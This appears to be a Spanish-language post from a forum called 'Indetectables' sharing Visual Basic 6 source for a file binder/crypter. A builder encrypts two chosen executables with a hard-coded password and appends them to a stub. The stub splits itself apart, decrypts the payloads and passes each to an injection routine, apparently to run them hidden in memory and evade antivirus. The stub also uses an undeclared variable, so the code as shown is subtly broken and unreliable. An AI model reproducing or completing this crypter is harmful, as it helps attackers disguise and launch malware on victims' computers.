Indetectables

Código: Seleccionar todo

Private Sub Command4_Click()

Dim Stub As String
Open App.Path & "\Stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1

Open CD1.FileName For Binary As #1
Dim file1 As String
file1 = Space(LOF(1))
Get #1, , file1
Close #1

Dim file2 As String
Open CD2.FileName For Binary As #1
file2 = Space(LOF(1))
Get #1, , file2
Close #1

Dim pass As String
pass = "wasasasasa"

file1 = poseidon1(file1, pass)
file2 = poseidon1(file2, pass)

Open App.Path & "\Unidos&Encryptados.exe" For Binary As #1
Dim Bin As String
Put #1, , Stub
Put #1, , pass
Put #1, , file1
Put #1, , pass
Put #1, , file2
Put #1, , pass
Close #1

MsgBox "Archivos unidos y encryptados con exito!", vbInformation, Me.Caption

Código: Seleccionar todo

Sub Main()

Dim Yo As String
Yo = (App.Path & "\" & App.EXEName & ".exe")

Open Yo For Binary As #1
Dim Stub As String
Stub = Space(LOF(1))
Get #1, , Stub
Close #1

Dim key As String
key = "wasasasasa"

Dim totalpack() As String
totalpack = Split(Stub, pass)

totalpack(1) = poseidon1(totalpack(1), pass)
totalpack(2) = poseidon1(totalpack(2), pass)

Call Injec(Yo, StrConv(totalpack(1), vbFromUnicode), vbNullString)
Call Injec(Yo, StrConv(totalpack(2), vbFromUnicode), vbNullString)